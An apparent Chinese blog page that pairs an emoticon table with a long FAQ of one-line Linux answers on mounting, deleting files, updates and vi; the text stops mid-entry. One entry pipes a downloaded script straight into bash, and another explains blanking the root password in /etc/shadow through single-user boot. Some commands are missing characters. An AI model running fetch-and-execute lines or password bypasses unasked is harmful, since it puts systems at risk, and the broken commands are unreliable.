|
|
December 27
|
|
|
|
|
大臉娃娃符號表
01. <( ̄︶ ̄)> 02. <( ̄︶ ̄)/ 03. b( ̄▽ ̄)d 04. 汗( ̄口 ̄)!!
05. ╮( ̄▽ ̄)╭ 06. ╰( ̄▽ ̄)╭ 07. ╮( ̄﹏ ̄)╭ 08. ( ̄▽ ̄@)
09. ○( ̄﹏ ̄)○ 10. <( ̄oo, ̄)/ 11. ╮( ̄▽ ̄")╭ 12. ︿( ̄︶ ̄)︿
13. /( ̄▽ ̄)♂ 14. /( ̄▽ ̄)♀ 15. ╭( ̄m ̄*)╮ 16. ╰( ̄▽ ̄)╯
17. <(@ ̄︶ ̄@)> 18. 帥( ̄▽ ̄)σ" 19. 羞(# ̄▽ ̄#) 20. ( ̄Q ̄)╯
21. 漲( ̄︶ ̄)↗ 22. 跌(┬_┬)↘ 23. <( ̄ c ̄)y▂ξ 24. ε( ̄□ ̄)3||
25. ╮(╯▽╰)╭ 26. ╮(╯_╰)╭ 27. ╮(﹀_﹀")╭ 28. ╰(‵□′)╯
29. (#-.-)/ 30. (︶︿︶)=凸 31. (((‵□′))怒 32. ╭(─╴─)╮
33. ˋ(′~‵")ˊ 34. ˋ(′o‵")ˊ 35. ˋ(′ε‵")ˊ 36. \(╯▼╰)/
37. ┐(─__─)┌ 38. <(‵^′)>氣! 39. ┌(‵▽′)╭ 40. #(┬_┬)泣!
41. <( ̄︶ ̄)> <( ̄︶ ̄)><( ̄︶ ̄)> 42. <( ̄︶ ̄)/<( ̄︶ ̄)/<( ̄︶ ̄)/
43. 看拳o(╬ ̄皿 ̄)=○# ( ̄#)3 ̄) 44. K.O <(o一-一)=○# ( ̄#)3 ̄)
45. (╯‵□′)╯︵ ┴─┴ 翻桌啦! 46. 翻桌啦! ┴─┴ ︵ ╰(‵□′╰)
47. ╭∩╮( ̄▽ ̄)╭∩╮你有沒有搞錯! 48. 哼.哼.哼 <(︶︿︶)_╭∩╮╭∩╮
49. \("▔□▔)/\("▔□▔)/\("▔□▔)/ 50. ~( ̄▽ ̄)~( ̄▽ ̄)~爽到不行~
51. ~( ̄3 ̄)~(︺ε﹀)~( ̄3 ̄)~快送醫! 52. 無影腳<(  ̄^ ̄)︵θ︵θ☆( >_<)
53. 笨蛋<( ‵□′)───Cε(┬_┬)3 54. 夾!<( ‵□′)───C<─___-)||
55. ╭ (′▽`)╭(′▽`)╭(′▽`)╯Go! 56. ︿( ̄︶ ̄)︽( ̄︶ ̄)︿飛.飛.飛.
57. 兇手!兇手就是你! <( ̄﹌ ̄)@m 58. 我..我..是大豬頭╭(﹊∩∩﹊#)╮
59. 來嘛!╮(╯◇╰)╭口禾火~口禾火~ 60. …(⊙_⊙?)… ○圭~○列~怎麼醬?
61. <( ̄oo, ̄)/豬頭不是一天造成的! 62. ˋ(′o‵")ˊ這個你問我也不知道~
63. 有火星人~ \("▔□▔)/\("▔□▔)/ 64. 不要以為我不知道咩!┌(‵▽′)╭
65. <( ̄ c ̄)y▂ξ 真煩,來哈根草吧~ 66. 叔叔~這樣很冷耶! (#-.-)/
67. 我是優質大帥哥一枚. \( ̄▽ ̄)♂ 68. ♀( ̄▽ ̄)/ 我是優質大美女一枚.
69. ┐(─__─)┌ 你說我有啥米辦法咧~ 70. 吃飽飽,睡好好! ○(* ̄︶ ̄*)○
71. 有沒有被豬揍過啊? ○(#‵︿′#)○ 72. ε(┬┬_┬┬)3 我 真 命 苦 ..
73. 拆屋 ┴┴ ︵╰(‵□′)╯︵ ┴┴ 74. 冷到不行 ≡ ̄﹏ ̄≡ 冷到不行..
75. <(‵^′)> 我看你還是回火星去好了! 76. <( ̄oo, ̄)/ 沒看過豬哥嗎??...
77. <( ̄︶ ̄)/ 喜歡嗎?把拔買給你~ 78. ︿( ̄︶ ̄)︿ 這學期歐趴歐趴啦~
79. 無影腳昇級版 <(  ̄^ ̄)︵θ︵θ︵θ︵θ︵θ︵θ︵θ︵θ︵θ☆( >_<)~啊!
80. 惡魔集團o(‵▽′)ψ 81. ψ(╰_╯)σ‧‧☆咒 82. ψ( ̄︶ ̄)ψ( ̄︶ ̄)ψ
83. 嘟著嘴 ( ̄)︿( ̄) 84.(⊙o⊙) 目瞪口呆 85. \(~__~)/ 要抱抱啦...
86. (>﹏<) 不~要~啦 87. (⊙.⊙)a...怎樣? 88. 〒▽〒 哇哇~人家不依
89. o(一︿一+)o 怨.念 90. (─.─|||| 很多條線 91. (#--)/ 下次小心.
92. 鬼魂團 ㄟ(川.一ㄟ) 93. √(─皿─)√ 讓我咬 94. (′ 3`)y==~ 人生海海..
95. ( ̄y▽ ̄)╭ 唉唷唷~ 96. \(╯-╰)/ 不是我殺的 97. ( ̄▽ ̄#) = ﹏﹏ 飄走
98. m(_ _)m 大人饒命啊! 99. ╭(′▽`)╭(′▽`)╯(讓咱們一起奔向夕陽吧...)
&( ^___^ )& 麻花辮女孩
(?o?) 喔? (☆_☆) 眼睛一亮 (*^︹^*) 羞羞臉
(作鬼臉) ( ﹁ ﹁ ) ~~~→ 懷疑喔~~ (‧_‧?) 什麼事啊?
(..) 請問~ (((^^)(^^))) 什麼什麼,告訴我吧!
( *^_^* ) 笑(打招呼) ( T___T ) 怎麼會這樣… (≧◇≦) 感動~
……\ ( > < ) / 哇~出現了 ( ⊙ o ⊙ ) 目瞪口呆
( ¯ □ ¯ ) 腦中一片空白 ( *>.<* ) ~@ 酸~~!
( E___E ) 念昏了頭 ( $ _ $ ) 見錢眼開!( 3__3 ) 剛睡醒~
(b_d) 戴了副眼鏡 (*^@^*) 乖~還含個奶嘴哦
( @^^@) 臉紅了啦! o(‧"‧)o (皺眉頭) | December 13
|
|
|
|
作者:陈绪先生
编者按:鉴于目前中国Linux的发展现状,90%以上的问题都可以用一句话来回答,这便是本文的初衷。欢迎大家添加自己的“一句话”,收录后注明原始提供者。更详细的文档,请浏览本版精华区或http://sunjava.spymac.net/linux/
----------------------------网络无关篇-------------------------- 0001 修改主机名(bjchenxu) vi /etc/sysconfig/network,修改HOSTNAME一行为"HOSTNAME=主机名"(没有这行?那就添加这一行吧),然后运行命令" hostname 主机名"。无论你是否重启,主机名修改成功了。
0002 Ret Hat Linux启动到文字界面(不启动xwindow)(bjchenxu) vi /etc/inittab id:x:initdefault: x=3:文本方式 x=5:图形方式
0003 linux的自动升级更新问题(hutuworm,NetDC) 对于redhat,在www.redhat.com/corp/support/errata/找到补丁,6.1以后的版本带有一个工具up2date,它能够测定哪些rpm包需要升级,然后自动从redhat的站点下载并完成安装。 升级除kernel外的rpm: up2date -u 升级包括kernel在内的rpm: up2date -u -f
由于Red Hat Network SSL证书过期,所以应在rhn_register || up2date 之前先执行一行script以更新证书: wget -q -O - https://rhn.redhat.com/help/new-cert.sh | /bin/bash
Debian跟别的发行版还是有很大的差别的,用Debian做服务器维护更加方便;红帽的升级其实挺麻烦的,当然,如果你交钱给红帽的话,服务是会不一样的。 Debian下升级软件: apt-get update apt-get upgrade 前提:配置好网络和/etc/apt/sources.list,也可以用apt-setup设置。
0004 windows下看linux分区的软件(bjchenxu) Paragon.Ext2FS.Anywhere.2.5.rar和explore2fs-1.00-pre4.zip
0005 mount用法(sakulagi) fat32的分区 mount -o codepage=936,iocharset=cp936 /dev/hda7 /mnt/cdrom ntfs的分区 mount -o iocharset=cp936 /dev/hda7 /mnt/cdrom iso文件 mount -o loop /abc.iso /mnt/cdrom 软盘 mount /dev/fd0 /mnt/floppy USB闪存 mount /dev/sda1 /mnt/cdrom 所有/etc/fstab内容 mount -a 可以指定文件格式"-t 格式", 格式可以为vfat, ext2, ext3等.
0006 在vmware的LINUX中使用本地硬盘的FAT分区(bjchenxu) 将本地的FAT分区共享,然后在VMWARE中使用SMBFS挂上。可以将如下的行放到/etc/fstab中: //win_ip/D$ /mnt/d smbfs defaults,auto,username=win_name,password=win_pass,codepage=936,iocharest=gb2312 0 0 其中win_ip是你的windows的IP地址; D$是你的windows里面共享的D盘的共享名; /mnt/d是要将该分区mount到linux的目录; win_name和win_pass是你的WINDOWS里面可以读取该分区的用户,比如你的管理员名和密码。 如果你运行了/etc/rc.d/init.d/netfs,那么在启动的时候就会自动挂载这个分区。
0007.a 删除名为-a的文件(bjchenxu) rm ./-a rm -- -a 告诉rm这是最后一个选项,参见getopt ls -i 列出inum,然后用find . -inum inum_of_thisfile -exec rm '{}' ;
0007.b 删除名为a的文件(bjchenxu) rm a
0007.c 删除名字带的/和‘'文件(bjchenxu) 这些字符是正常文件系统所不允许的字符,但可能在文件名中产生,如unix下的NFS文件系统在Mac系统上使用 1.解决的方法,把NFS文件系统在挂到不过滤'/'字符的系统下删除含特殊文件名的文件。 2.也可将错误文件名的目录其它文件移走,ls -id 显示含该文件目录的inum,umount 文件系统, clri清除该目录的inum,fsck,mount,check your lost+found,rename the file in it. 最好是通过WINDOWS FTP过去就可以删除任何文件名的文件了!
0007.d 删除名字带不可见字符的文件(bjchenxu) 列出文件名并转储到文件:ls -l >aaa 然后编辑文件的内容加入rm命令使其内容成为删除上述文件的格式: vi aaa [rm -r ******* ] 把文件加上执行权限 chmod +x aaa 执行 $aaa
0007.e 删除文件大小为零的文件(bjchenxu) rm -i `find ./ -size 0` find ./ -size 0 -exec rm {} ; 或 find ./ -size 0 | xargs rm -f & 或 for file in * #自己定义需要删除的文件类型 do if [ ! -s $ ] then rm $
echo "rm $file Success!" fi done
0008 redhat设置滚轮鼠标(mc1011) 进入X后,选择鼠标的配置,选择wheel mouse(ps/2)就可以了, 如果鼠标表现异常,重启计算机即可。 (或者su, vi /etc/X11/XF86Config, 把PS/2 改成 ImPS/2)
0009 加装xwindow(bjchenxu) 用linux光盘启动,选择升级,然后单独选择包,安装即可
0010 删除linux分区(bjchenxu) 做一张partition magic的启动软盘,启动后删除. 或者用win2000的启动光盘启动,然后删除.
0011 如何退出man(bjchenxu) q
0012 不编译内核,mount ntfs分区(bjchenxu,hutuworm) 原装rh8,未升级或编译内核 1. 上google.com搜索并下载 kernel-ntfs-2.4.18-14.i686.rpm 2. rpm -ivh kernel-ntfs-2.4.18-14.i686.rpm 3. mkdir /mnt/c 4. mount -t ntfs /dev/hda1 /mnt/c 或 Read only: http://linux-ntfs.sourceforge.net/ Read/Write: http://www.jankratochvil.net/project/captive/
0013 tar 分卷压缩和合并(WongMokin) 以每卷500M为例 tar分卷压缩:tar cvzpf - mytarfile.tar.gz | split -d -b 500m tar多卷合并:cat x* > mytarfile.tar.gz
0014 使用lilo/grub时找回忘记了的root口令(bjchenxu) 三种办法: 1.在系统进入单用户状态,直接用passwd root去更改 2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法如下: cd /mnt mkdir hd mount -t auto /dev/hdaX(原来/分区所在的分区号) hd cd hd chroot ./ passwd root 这样可以搞定 3.将本机的硬盘拿下来,挂到其他的linux系统上,采用的办法与第二种相同 rh8中 一. lilo 1. 在出现 lilo: 提示时键入 linux single 画面显示 lilo: linux single 2. 回车可直接进入linux命令行 3. #vi /etc/shadow 将第一行,即以root开头的一行中root:后和下一个:前的内容删除, 第一行将类似于 root::...... 保存 4. #reboot重启,root密码为空 二. grub 1. 在出现grub画面时,用上下键选中你平时启动linux的那一项(别选dos哟),然后按e键 2. 再次用上下键选中你平时启动linux的那一项(类似于kernel /boot/vmlinuz-2.4.18-14 ro root=LABEL=/),然后按e键 3. 修改你现在见到的命令行,加入single,结果如下: kernel /boot/vmlinuz-2.4.18-14 single ro root=LABEL=/ 4. 回车返回,然后按b键启动,即可直接进入linux命令行 5. #vi /etc/shadow 将第一行,即以root开头的一行中root:后和下一个:前的内容删除, 第一行将类似于 root::...... 保存 6. #reboot重启,root密码为空
0015 使ctrl + alt + del失效(bjchenxu) vi /etc/inittab 将ca::ctrlaltdel:/sbin/shutdown -t3 -r now这行注释掉,就可以了
0016 如何看出redhat的版本是7还是8(hutuworm) cat /proc/version或者cat /etc/redhat-release或者cat /etc/issue
0017 文件在哪个rpm中(无双) 上www.rpmfind.net上搜,或者rpm -qf 文件名得到
0018 把man或info的信息存为文本文件(bjchenxu) 以 tcsh 为例: man tcsh | col -b > tcsh.txt info tcsh -o tcsh.txt -s
0019 利用现存两个文件,生成一个新的文件(bjchenxu) 1. 取出两个文件的并集(重复的行只保留一份) 2. 取出两个文件的交集(只留下同时存在于两个文件中的文件) 3. 删除交集,留下其他的行 1. cat file1 file2 | sort | uniq 2. cat file1 file2 | sort | uniq -d 3. cat file1 file2 | sort | uniq -u
0020 设置com1口,让超级终端通过com1口进行登录(bjchenxu) 确认有/sbin/agetty,编辑/etc/inittab,添加 7:2345:respawn:/sbin/agetty /dev/ttyS0 9600 9600bps是因为联路由器缺省一般都是这种速率,也可以设成 19200、38400、57600、115200 修改/etc/securetty,添加一行:ttyS0,确保root用户能登录 重启机器,就可以拔掉鼠标键盘显示器(启动时最好还是要看看输出信息)了
0021 删除目录下所有文件包括子目录(bjchenxu) rm -rf 目录名
0022 查看系统信息(bjchenxu) cat /proc/cpuinfo - CPU (i.e. vendor, Mhz, flags like mmx) cat /proc/interrupts - 中断 cat /proc/ioports - 设备IO端口 cat /proc/meminfo - 内存信息(i.e. mem used, free, swap size) cat /proc/partitions - 所有设备的所有分区 cat /proc/pci - PCI设备的信息 cat /proc/swaps - 所有Swap分区的信息 cat /proc/version - Linux的版本号 相当于 uname -r uname -a - 看系统内核等信息
0023 去掉多余的回车符(bjchenxu) sed 's/^M//' test.sh > back.sh, 注意^M是敲ctrl_v ctrl-m得到的 或者 dos2unix filename
0024 切换X桌面(lnx3000) 如果你是以图形登录方式登录linux,那么点击登录界面上的session(任务)即可以选择gnome和kde。如果你是以文本方式登录,那执行switchdesk gnome或switchdesk kde,然后再startx就可以进入gnome或kde。 (或者vi ~/.xinitrc,添加或修改成exec gnome-session 或exec startkde, 然后用startx启动X)
0025 通用的声卡驱动程序(lnx3000) OSS www.opensound.com/ ALSA www.alsa-project.org/
0026 改变redhat的系统语言/字符集(beming/mc1011) 修改 /etc/sysconfig/i18n 文件,如 LANG="en_US",xwindow会显示英文界面, LANG="zh_CN.GB18030",xwindow会显示中文界面。 还有一种方法 cp /etc/sysconfig/i18n $HOME/.i18n 修改 $HOME/.i18n 文件,如 LANG="en_US",xwindow会显示英文界面, LANG="zh_CN.GB18030",xwindow会显示中文界面。 这样就可以改变个人的界面语言,而不影响别的用户 (Debian不支持GB18030(RH的zysong字库是有版权的) 现在好像没有Free的GBK和GB18030字库 vi .bashrc export LANG=zh_CN.GB2312 export LC_ALL=zh_CN.GB2312)
0027 把屏幕设置为90列(bjchenxu) stty cols 90
0028 使用md5sum文件(bjchenxu) md5sum isofile > hashfile, 将 md5sum 档案与 hashfile 档案内容比对, 验证杂凑值 是否一致 md5sum –c hashfile
0029 一次解压多个zip文件(bjchenxu) unzip "*",注意引号不能少
0030 看pdf文件(bjchenxu) 使用xpdf或者安装acrobat reader for linux
0031 查找权限位为S的文件(bjchenxu) find . -type f ( -perm -04000 -o -perm -02000 ) -exec ls -lg {} ;
0032 装中文输入法(bjchenxu) 以redhat8为例,xwindow及其终端下的不用说了吧,缺省就安装了,用ctrl-space呼出。 现在讨论纯console,请下载zhcon.gnuchina.org/download/src/zhcon-0.2.1.tar.gz, 放在任一目录中,tar xvfz zhcon-0.2.1.tar.gz, cd zhcon-0.2.1, ./configure, make, make install。安装结束,要想使用,请运行zhcon,想退出,运行exit。
0033 把弹出的光盘收回来(beike) #eject -t
0034 cd光盘做成iso文件(弱智) cp /dev/cdrom xxxx.iso
0035 快速观看开机的硬件检测(弱智) dmesg | more
0036 查看硬盘的使用情况(bjchenxu) df -k 以K为单位显示 df -h 以人性化单位显示,可以是b,k,m,g,t..
0037 查看目录的大小(bjchenxu) du -sh dirname -s 仅显示总计 -h 以K、M、G为单位,提高信息的可读性。KB、MB、GB是以1024为换算单 位, -H以1000为换算单位。
0038 查找或删除正在使用某文件的进程(wwwzc) fuser filename fuser -k filename
0039 安装软件(bjchenxu) rpm -ivh aaa.rpm tar xvfz aaa.tar.gz; cd aaa; ./configure; make; make install
0040 字符模式下设置/删除环境变量(bjchenxu) bash下 设置:export 变量名=变量值 删除:unset 变量名 csh下 设置:setenv 变量名 变量值 删除:unsetenv 变量名
0041 ls如何看到隐藏文件(即以.开头的文件)(双眼皮的猪) ls -a l. (适用于redhat)
0042 rpm中的文件安装到哪里去了(bjchenxu) rpm -qpl aaa.rpm
0043 使用src.rpm(bjchenxu) rpmbuild --rebuild *.src.rpm
0044 vim中显示颜色或不显示颜色(bjchenxu) 首先确保安装了vim-enhanced包,然后,vi ~/.vimrc; 如果有syntax on,则显示颜色,syntax off,则不显示颜色
0045 linux是实时还是分时操作系统(bjchenxu) 分时
0046 make bzImage -j的j是什么意思(wind521) -j主要是用在当你的系统硬件资源比较大的时候,比较富裕的时候,用这个可以来加快编译的速度,如-j 3
0047 源码包怎么没有(bjchenxu) 你没有安装源代码,你把你光盘上rpm -i *kernel*source*.rpm装上,就可以看到你的源代码了。
0048 修改系统时间(bjchenxu,laixi781211,hutoworm) date -s “2003-04-14 cst”,cst指时区,时间设定用date -s 18:10 修改后执行clock -w 写到CMOS hwclock --systohc set the hardware clock to the current system time
0049 开机就mount上windows下的分区(bjchenxu) 自动将windows的d盘挂到/mnt/d上,用vi打开/etc/fstab,加入以下一行 /dev/hda5 /mnt/d vfat defaults,codepage=936,iocharset=cp936 0 0 注意,先得手工建立一个/mnt/d目录
0050 linux怎么用这么多内存(bjchenxu) 为了提高系统性能和不浪费内存,linux把多的内存做了cache,以提高io速度
0051 FSTAB 最后的配置项里边最后两个数字是什么意思(lnx3000) 第一个叫fs_freq,用来决定哪一个文件系统需要执行dump操作,0就是不需要; 第二个叫fs_passno,是系统重启时fsck程序检测磁盘的顺序号 1 是root文件系统,2 是别的文件系统。fsck按序号检测磁盘,0表示该文件系统不被检测 dump 执行ext2的文件系统的备份操作 fsck 检测和修复文件系统
0052 linux中让用户的密码必须有一定的长度,并且符合复杂度(eapass) vi /etc/login.defs,改PASS_MIN_LEN
0053 linux中的翻译软件(bjchenxu,hutoworm) 星际译王 xdict console下还有个dict工具,通过DICT协议到dict.org上查11本字典,例如:dict RTFM
0054 不让显示器休眠(bjchenxu) setterm -blank 0 setterm -blank n (n为等待时间)
0055 用dat查询昨天的日期(gadfly) date --date='yesterday'
0056 xwindow下如何截屏(bjchenxu) Ksnapshot或者gimp
0057 解压小全(bjchenxu,noclouds) tar -I或者bunzip2命令都可以解压.bz2文件 tar xvfj example.tar.bz2 tar xvfz example.tar.gz tar xvfz example.tgz tar xvf example.tar unzip example.zip tar -jvxf some.bz,就是把tar的zvxf 改成jvxf zip/tar rh8下有一个图形界面的软件file-roller可以做这件事。另外可以用unzip *.zip解开zip文件,unrar *.rar解开rar文件,不过unrar一般系统不自带,要到网上下载。 # rpm2cpio example.rpm │ cpio -div # ar p example.deb data.tar.gz | tar zxf - Alien提供了.tgz, .rpm, .slp和.deb等压缩格式之间的相互转换: http://sourceforge.net/projects/alien sEx提供了几乎所有可见的压缩格式的解压接口: http://sourceforge.net/projects/sex
0058 在多级目录中查找某个文件的方法(青海湖) find /dir -name filename.ext du -a | grep filename.ext locate filename.ext
0059 不让普通用户自己改密码(myxfc) [root@xin_fc etc]# chmod 511 /usr/bin/passwd 又想让普通用户自己改密码 [root@xin_fc etc]# chmod 4511 /usr/bin/passwd
0060 显卡实在配不上怎么办(win_bigboy) 去http://www.redflag-linux.com/ ,下了xfree86 4.3安装就可以了.
0061 超强删除格式化工具(弱智) 比PQMagic安全的、建立删除格式化的小工具:sfdisk.exe for msdos http://www.wushuang.net/soft/sfdisk.zip
0062 如何让xmms播放列表里显示正确的中文(myxfc) -*-*-*-*-*-iso8859-1,-misc-simsun-medium-r-normal--12-*-*-*-*-*-gbk-0,*-r- 把这个东西完全拷贝到你的字体里面 操作方法: 右键单击xmms播放工具的任何地方 会看到一个"选项",然后选择"功能设定"选择"fonts" 然后把上面的字体完整的拷贝到"播放清单"和 "user x font
0063 redhat linux中播放mp3文件(hehhb) 原带的xmms不能播放MP3(无声),要安装一个RPM包:rpm -ivh xmms-mp3-1.2.7-13.p.i386.rpm。打开xmms,ctl-p,在font栏中先在上半部的小框内打勾,再选择 “fixed(misc) gbk-0 13”号字体即可显示中文歌曲名。在音频输出插件中选择 "开放音频系统驱动程序 1.2.7 [lioOSS.so],即可正常播放MP3文件。
0064 安装中文字体(hehhb) 先下载 http://freshair.netchina.com.cn/~George/sm.sh (参考文献: http://www.linuxeden.com/edu/doctext.php?docid=2679%29 SimSun18030.ttc在微软网站可下载,http://www.microsoft.com/china/windows2000/downloads/18 030.asp 它是个msi文件,在 mswindows中安装用的,装好后在windows目录下的fonts 目录里面就可以找到它。把simsun.ttc,SimSun18030.ttc,tahoma.ttf,tahomabd.ttf 拷贝到/usr/local/temp,然后下载的shell文件也放到这个目录里,然后打开终端 cd /usr/local/temp chmod 755 sm.sh ./sm.sh
0065 装载windows分区的FAT32、FAT16文件系统(hehhb) 以root身份进入KDE,点击桌面上的“起点”图标,在/mnt目录下建立如下文件夹:c,d,e,f,g,usb.分别用作windows下各分区和usb闪盘。 用文本编辑器打开/etc/fstab 文件.加入如下: /dev/hda1 /mnt/c vfat iocharset=gb2312,umask=0,codepage=936 0 0 /dev/hda5 /mnt/d vfat iocharset=gb2312,umask=0,codepage=936 0 0 /dev/hda6 /mnt/e vfat iocharset=gb2312,umask=0,codepage=936 0 0 /dev/hda7 /mnt/f vfat iocharset=gb2312,umask=0,codepage=936 0 0 /dev/hda8 /mnt/g vfat iocharset=gb2312,umask=0,codepage=936 0 0 /dev/cdrom /mnt/cdrom udf,iso9660 noauto,iocharset=gb2312,owner,kudzu,ro 0 0 /dev/sda1 /mnt/usb vfat iocharset=gb2312,umask=0,codepage=936 0 0 存盘退出. 重新启动后即可正常访问FAT32或FAT16格式分区,解决显示WINDOWS分区下和光盘中文文件名乱码 问题.其中共六列,每列用Tab键分开。注意此方法只能mount上Fat 分区格式.sda1是闪盘。
0066 在X下使用五笔和拼音,区位输入法(hmkart) 从http://www.fcitx.org/上下载fcitx的rpm包安装即可
0067 在Linux下如何解压rar文件(hmkart) http://www.linuxeden.com/download/softdetail.php?softid=883 下载rar for Linux 3.2.0,解压开后make 然后可以用unrar e youfilename.rar解压rar文件
0068 硬盘安装后怎么添加/删除rpm包(sakulagi) redhat-config-packages --isodir=<PATH> 可以指定iso文件所在的目录
0069 字符下控制音量(grub007,天外闲云) 使用aumix。另外,要保存oss的音量大小,步骤为: 1、用aumix将音量调整为你们满意的音量 2、用root用户进入/usr/lib/oss下(oss的默认安装目录) 3、执行./savemixer ./mixer.map 4、ok,以后oss开启之后就是你在第一步调整的音量了。 ps:阅读该目录下的README可以得到更多的有用信息。
0070 用dd做iso(grub007) dd if=/dev/cdrom of=/tmp/aaa.iso
0071 删除几天以前的所有东西(包括目录名和目录中的文件)(shally5) find . -ctime +3 -exec rm -rf {} ; 或 find ./ -mtime +3 -print|xargs rm -f -r
0072 用户的crontab在哪里(hutuworm) /var/spool/cron/下以用户名命名的文件
0073 以不同的用户身份运行程序(bjchenxu) su - username -c "/path/to/command" 有时候需要运行特殊身份的程序, 就可以让su来做
0074 如何清空一个文件(bjchenxu) > filename
0075 为什么OpenOffice下不能显示中文(allen1970) 更改字体设置 tools->options->font replacement Andale Sans UI -> simsun
0076 如何备份Linux系统(Purge) Symantec Ghost 7.5以后的版本支持Ext3 native复制
0077 linux上的partition magic(wwwzc) Linux下一个有用的分区工具: parted 可以实时修改分区大小, 删除/建立分区.
0078 /proc/sys/sem中每项代表什么意思? (sakulagi) /proc/sys/sem内容如下 250 32000 32 128 这4个参数依次为SEMMSL(每个用户拥有信号量最大数量),SEMMNS(系统信号量最大数量),SEMOPM(每次semop系统调用操作数),SEMMNI(系统信号量集最大数量)
0079 Grub 引导菜单里 bigmem smp up 都是什么意思?(lnx3000) smp: (symmetric multiple processor)对称多处理器模式 bigmem: 支持1G 以上内存的优化内核 up:(Uni processor) 单处理器的模式
0080 Oracle的安装程序为什么显示乱码?(lnx3000) 现在Oracle的安装程序对中文的支持有问题,只能使用英文界面来安装,在执行runinstaller之前,执行:export LANG=C;export LC_ALL=C
0081 linux下文件和目录的颜色代表什么(sakulagi,弱智) 蓝色表示目录;绿色表示可执行文件;红色表示压缩文件;浅蓝 色表示链接文件;灰色表示其它文件;红色闪烁表示链接的文件有问题了;黄色是设备文件,包括block, char, fifo。 用dircolors -p看到缺省的颜色设置,包括各种颜色和“粗体”,下划线,闪烁等定义。
0082 查看有多少活动httpd的脚本(bjchenxu) #!/bin/sh while (true) do pstree |grep "*[httpd]$"|sed 's/.*-([0-9][0-9]*)*[httpd]$/1/' sleep 3 done
0083 如何新增一块硬盘(好好先生) 一、关机,物理连接硬盘 如果是IDE硬盘,注意主、从盘的设置;如果是SCSI硬盘,注意选择一个没有被使用的ID号。 二、开机,检查硬盘有没有被linux检测到 dmesg |grep hd*(ide硬盘) dmesg |grep sd*(SCSI硬盘) 或者 less /var/log/dmesg 如果你没有检测到你的新硬盘,重启,检查连线,看看bios有没有认出它来。 三、分区 你可以使用fdisk,Sfdisk或者parted(GNU分区工具,linux下的partition magic) 四、格式化 mkfs 五、修改fstab vi /etc/fstab
0084 linux下怎么看分区的卷标啊 (q1208c) e2label /dev/hdxn, where x=a,b,c,d....; n=1,2,3...
0085 RH8,9中安装后如何添加新的语言包(好好先生) 一.8.0中 1.放入第一张光盘 2.cd /mnt/cdrom/Redhat/RPMS 3.rpm -ivh ttfonts-ZH_CN-2.11-29.noarch.rpm(简体中文,你可以用tab键来补齐后面的部分,以免输入有误) 4.rpm -ivh ttfonts-ZH_TW-2.11-15.noarch.rpm(繁体中文) 如果你还想装日文、韩文,试试第二张光盘上的ttfonts*.rpm. 二.9.0中 9.0不在第一张盘上,在第三张盘上.rpm包名分别为: ttfonts-zh_CN-2.12-1.noarch.rpm(简体中文) ttfonts-zh_TW-2.11-19.noarch.rpm (繁体中文)
0086 终端下抓屏(tsgx) cat /dev/vcsX >screenshot 其中,X表示第X个终端 还可以运行script screen.log,记录屏幕信息到screen.log里。一会记录到你exit为此。这也是抓屏的好方法。 这是在debian的cookbook上看到的。在RH9上能用。没有在其它的系统上测试过。
0087 让一个程序在退出登陆后继续运行(NetDC) #nohup 程序名 &
0088 man命令不在路径中,如何查看非标准的man文件(bjchenxu) nroff -man /usr/man/man1/cscope.1 | more
0089 以不同的用户身份运行程序(bjchenxu) su - username -c "/path/to/file" 有时候需要运行特殊身份的程序...就可以让su来做...
0090 编辑/etc/inittab后直接生效(bjchenxu) #init q
0091 让linux连续执行几个命令,出错停止(bjchenxu) command1 && command2 && command3
0092 如何将grub安装到mbr(bjchenxu, NetDC) grub> root (hd0, 0) grub> setup (hd0) 也可以用#grub-install /dev/hda来安装grub。
0093 安装时把grub(lilo)写到linux分区的引导区还是主引导扇区(MBR)(bjchenxu) 如果你想电脑一启动就直接进入操作系统启动菜单就把grub(lilo)写到MBR上,如果写到linux分区的引导区则要用引导盘引导。建议写到 MBR,方便点,至于说写到MBR不安全,该怎么解释呢?每装一次win98,MBR都会被修改一次,大家觉得有什么不安全的吗?
0094 如何让多系统共存(bjchenxu) 98系统的话用lilo(grub)引导,2k/nt则使用osloader引导多系统
0095 如何在图形界面和控制台(字符界面)之间来回切换(bjchenxu) a.图形界面到控制台:Ctr+Alt+Fn(n=1,2,3,4,5,6)。 b.各控制台之间切换:Alt+Fn(n=1,2,3,4,5,6)。
c.控制台到图形:Alt+F7
0096 Redhat linux常用的命令(bjchenxu) <1>ls:列目录。 用法:ls或ls dirName,参数:-a显示所有文件,-l详细列出文件。 <2>mkdir:建目录。 用法:mkdir dirName,参数:-p建多级目录,如:mkdir a/b/c/d/e/f -p <3>mount:挂载分区或镜像文件(.iso,.img)文件。 用法: a.磁盘分区:mount deviceName mountPoint -o options,其中deviceName是磁盘分区的设备名,比如/dev/hda1,/dev/cdrom,/dev/fd0,mountPoint 是挂载点,它是一个目录,options是参数,如果分区是linux分区,一般不用-o options,如果是windows分区那options可以是iocharset=cp936,这样windows分区里的中文文件名就能显示出来了。用例:比如/dev/hda5是linux分区,我要把它挂到目录a上(如没目录a那就先mkdir a),mount /dev/hda5 a,这样目录a里的东西就是分区hda5里的东西了,比如hda1是windows分区,要把它挂到b上,mount /dev/hda1 b -o iocharset=cp936。 b.镜像文件:mount fileName mountPoint -o loop,fileName是镜像文件名(*.iso,*.img),其它的不用说了,跟上面一样。用例:如我有一个a.iso光盘镜像文件,mount a.iso a -o loop,这样进入目录a你就能浏览a.iso的内容了,*.img文件的用法一样。 <4>find:查找文件。 用法:find inDir -name filename,inDir是你要在哪个目录找,filename是你要找的文件名(可以用通配符),用通配符时filename最好用单引号引起来,否则有时会出错,用例:find . -name test*,在当前目录查找以test开头的文件。 <5>grep:在文件里查找指定的字符串。 用法:grep string filename,在filename(可用通配符)里查找string(最好用双引号引起来)。参数:-r在所有子目录里的filename里找。用例:grep hello *.c -r在当前目录下(包括子目录)的所有.c文件里查找hello。 <5>vi:编辑器。 用法:vi filename。filename就是你要编辑的文本文件。用了执行vi filename后,你可能会发现你无法编辑文本内容,不要着急,这是因为vi还没进入编辑状态,按a或i就可以进入编辑状态了,进入编辑状态后你就可以编辑文本了。要退出编辑状态按Esc键就可以了。以下操作均要在非编辑状态下。查找文本:输入/和你要查找的文本并回车。退出:输入: 和q并回车,如果你修改了文本,那么你要用:q!回车才能退出。保存:输入: w回车,如果是只读文件要用: w!。保存退出:输入: wq回车,如果是只读就: wq!回车。取消:按u就可以了,按一次就取消一步,可按多次取消多步。复制粘贴一行文本:把光标移到要复制的行上的任何地方,按yy(就是连按两次 